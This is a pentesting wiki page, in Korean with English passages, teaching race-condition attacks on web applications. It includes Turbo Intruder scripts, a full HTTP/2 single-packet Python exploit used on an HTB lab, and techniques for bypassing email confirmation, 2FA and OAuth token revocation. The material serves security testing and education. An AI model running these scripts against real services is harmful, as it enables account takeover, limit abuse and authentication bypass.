hacktricks/src/pentesting-web/race-condition.md

22 KiB
Raw Blame History

Race Condition

{{#include ../banners/hacktricks-training.md}}

Warning

이 기술을 깊이 이해하려면 원문 리포트 https://portswigger.net/research/smashing-the-state-machine를 확인하세요.

Race Condition 공격 고도화

주요 장애물은 여러 요청이 거의 동시에 처리되도록 만드는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만이어야 합니다.

요청 동기화를 위한 몇 가지 기법은 다음과 같습니다:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동 때문에 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있습니다.
  • HTTP/1.1 'Last-Byte Sync': 20~30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류한 다음, 그 조각들을 함께 전송해 서버에 동시에 도착하도록 만드는 방식입니다.

Preparation for Last-Byte Sync involves:

  1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다.
  2. 초기 전송 후 100ms 동안 대기합니다.
  3. 최종 프레임 배치를 위해 TCP_NODELAY를 비활성화하여 Nagle's algorithm을 활용합니다.
  4. 연결을 워밍업하기 위해 ping을 수행합니다.

보류한 프레임을 이후에 전송하면 단일 패킷으로 도착하는 것을 Wireshark로 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 사용되지 않는 static files에는 적용되지 않습니다.

서버 아키텍처에 맞게 조정

대상 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 줄 수 있습니다. 중요하지 않은 요청으로 사전 서버 측 연결 워밍업을 수행하면 요청 타이밍을 정규화할 수 있습니다.

세션 기반 잠금 처리

PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session 토큰을 사용하면 이 문제를 회피할 수 있습니다.

Rate 또는 자원 제한 극복

연결 워밍업이 효과적이지 않다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 자원 제한 지연을 의도적으로 유발하면 서버 측 지연이 생겨 single-packet attack에 유리해질 수 있습니다.

공격 예시

  • Tubo Intruder - HTTP2 single-packet attack (1 endpoint): 요청을 Turbo intruder로 보낼 수 있습니다 (Extensions -> Turbo Intruder -> Send to Turbo Intruder). 요청에서 브루트포스할 값인 **%s**를 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s처럼 변경한 다음 드롭다운에서 **examples/race-single-packer-attack.py**를 선택하세요:

값을 다르게 전송하려는 경우, 클립보드에서 워드리스트를 사용하는 다음 코드로 수정할 수 있습니다:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Warning

웹이 HTTP2를 지원하지 않고(오직 HTTP1.1만 지원하는 경우) Engine.BURP2 대신 Engine.THREADED 또는 Engine.BURP를 사용하세요.

  • Tubo Intruder - HTTP2 single-packet attack (Several endpoints): 만약 RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 이어서 다른 여러 엔드포인트에 요청을 보내야 하는 경우, race-single-packet-attack.py 스크립트를 다음과 같이 변경할 수 있습니다:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • 또한 Burp Suite의 Repeater에서 새로운 'Send group in parallel' 옵션을 통해 사용할 수 있습니다.
  • limit-overrun의 경우 그룹에 같은 request를 50번 추가하면 됩니다.
  • connection warming을 위해 그룹의 시작 부분에 웹 서버의 비정적 부분에 대한 몇 개의 requests추가할 수 있습니다.
  • 2 substates 단계에서 한 request를 처리한 다음 다른 request를 처리하는 과정 사이를 지연시키려면, 두 request 사이에 추가 requests를 넣을 수 있습니다.
  • multi-endpoint RC의 경우, hidden state로 가는 request를 먼저 보내고 그 직후에 50 requests를 보내서 hidden state를 악용할 수 있습니다.
  • Automated python script: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 검증 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드 상에서 이메일을 수정할 수는 있지만 검증이 이전 이메일로 전송되는 RC가 관찰되었기 때문이며, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\ 수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 검증 토큰을 받은 것으로 판단하고 공격을 종료합니다.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Single Packet Attack 개선

원래 연구에서는 이 공격이 1,500 bytes의 제한이 있다고 설명합니다. 하지만 this post에서는 IP layer fragmentation을 사용해 single packet attack의 1,500-byte 제한을 TCP의 65,535 B window limitation까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 프래그먼트가 서버에 도달할 때까지 재조립을 방지)이 설명되어 있습니다. 이 기법을 통해 연구자는 약 166ms 만에 10,000개의 요청을 전송할 수 있었습니다.

이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC 공격의 신뢰성이 높아지지만, 소프트웨어적 한계도 있을 수 있습니다. Apache, Nginx and Go 같은 일부 인기 있는 HTTP 서버는 SETTINGS_MAX_CONCURRENT_STREAMS를 각각 100, 128, 250으로 엄격하게 설정합니다. 반면 NodeJS와 nghttp2 등은 제한이 없습니다.
이것은 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 의미이며(이 RC 공격을 제한함) 결국 공격의 효과를 떨어뜨릴 수 있습니다.

이 기법을 사용한 예제는 레포 https://github.com/Ry0taK/first-sequence-sync/tree/main에서 확인할 수 있습니다.

Raw BF

이전 연구 이전에는 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 사용되었습니다.

  • Repeater: 이전 섹션의 예제를 확인하세요.
  • Intruder: requestIntruder로 전송하고, Options menu에서 number of threads30으로 설정한 뒤, 페이로드로 Null payloads를 선택하고 30을 생성합니다.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

This is the most basic type of race condition where 취약점 that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.

There are many variations of this kind of attack, including:

  • 기프트 카드를 여러 번 사용하는 경우
  • 제품을 여러 번 평가하는 경우
  • 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 경우
  • 단일 CAPTCHA 솔루션을 재사용하는 경우
  • 브루트포스 방지 rate limit을 우회하는 경우

Hidden substates

Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or 의도치 않은 machine substates. Heres how to approach this:

  1. Identify Potential Hidden Substates
  • Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
  • Storage: 서버측 영속 데이터를 조작하는 엔드포인트를 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 우선적으로 살펴보세요.
  • Action: 기존 데이터를 변경하는 작업을 찾아보세요. 새 데이터를 추가하는 작업보다 exploit 가능한 조건을 만들 가능성이 큽니다.
  • Keying: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)에 키가 걸린 작업이 관련됩니다.
  1. Conduct Initial Probing
  • 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대한 결과와의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 나타낼 수 있습니다.
  1. Demonstrate the Vulnerability
  • 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 축소하세요. 종종 필요한 것은 단 두 번의 요청뿐입니다. 이 단계는 정밀한 타이밍이 요구되므로 여러 번의 시도나 자동화가 필요할 수 있습니다.

Time Sensitive Attacks

요청 타이밍의 정밀성은 취약점을 드러낼 수 있습니다. 특히 타임스탬프와 같이 예측 가능한 방식이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, 타임스탬프에 기반한 password reset tokens 생성을 사용하는 경우 동시 요청에 대해 동일한 토큰이 만들어질 수 있습니다.

To Exploit:

  • 단일 패킷 공격과 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 생성하세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다.

Example:

  • 동시에 두 개의 password reset tokens를 요청하여 비교하세요. 토큰이 일치하면 token 생성에 결함이 있음을 시사합니다.

이것을 시도하려면 PortSwigger Lab를 확인하세요.

Hidden substates case studies

Pay & add an Item

PortSwigger Lab를 확인해 상점에서 결제하고 추가 항목을 결제하지 않고 얻는 방법을 살펴보세요.

Confirm other emails

아이디어는 이메일 주소를 verify하고 동시에 다른 주소로 변경하여 플랫폼이 변경된 새 주소를 실제로 인증하는지 확인하는 것입니다.

According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.

이것을 시도하려면 PortSwigger Lab를 확인하세요.

Hidden Database states / Confirmation Bypass

If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.

따라서 계정을 등록하고 빈 token으로 여러 요청을 전송하는 것(token= or token[]= or any other variation`)으로 계정을 즉시 확인하려고 하면, 이메일을 제어하지 못하는 계정을 확인(confirm an account) 할 수 있게 될 가능성이 있습니다.

이것을 시도하려면 PortSwigger Lab를 확인하세요.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 영구 지속성

There are several OAUth providers. 이러한 서비스들은 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 client애플리케이션이 해당 OAUth provider 내부의 일부 데이터에 접근하는 것을 허용해야 합니다.
여기까지는 google/linkedin/github 같은 일반적인 로그인으로, "Application <InsertCoolName>가 귀하의 정보를 액세스하려 합니다. 허용하시겠습니까?"라는 페이지가 표시됩니다.

Race Condition in authorization_code

문제는 사용자가 이를 허용하면 자동으로 **authorization_code**가 악성 애플리케이션으로 전송될 때 발생합니다. 이후 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 계정의 **authorization_code**로부터 둘 이상의 AT/RT (Authentication Token/Refresh Token)을 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용했다는 점을 악용해 여러 계정을 생성합니다. 그런 다음 사용자가 애플리케이션의 접근 권한을 취소하면 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남아 있을 수 있습니다.

Race Condition in Refresh Token

유효한 RT를 얻으면 이를 악용해 여러 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 접근 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남을 수 있습니다.

RC in WebSockets

  • In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
  • With Burps WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See RaceConditionExample.py.

References

{{#include ../banners/hacktricks-training.md}}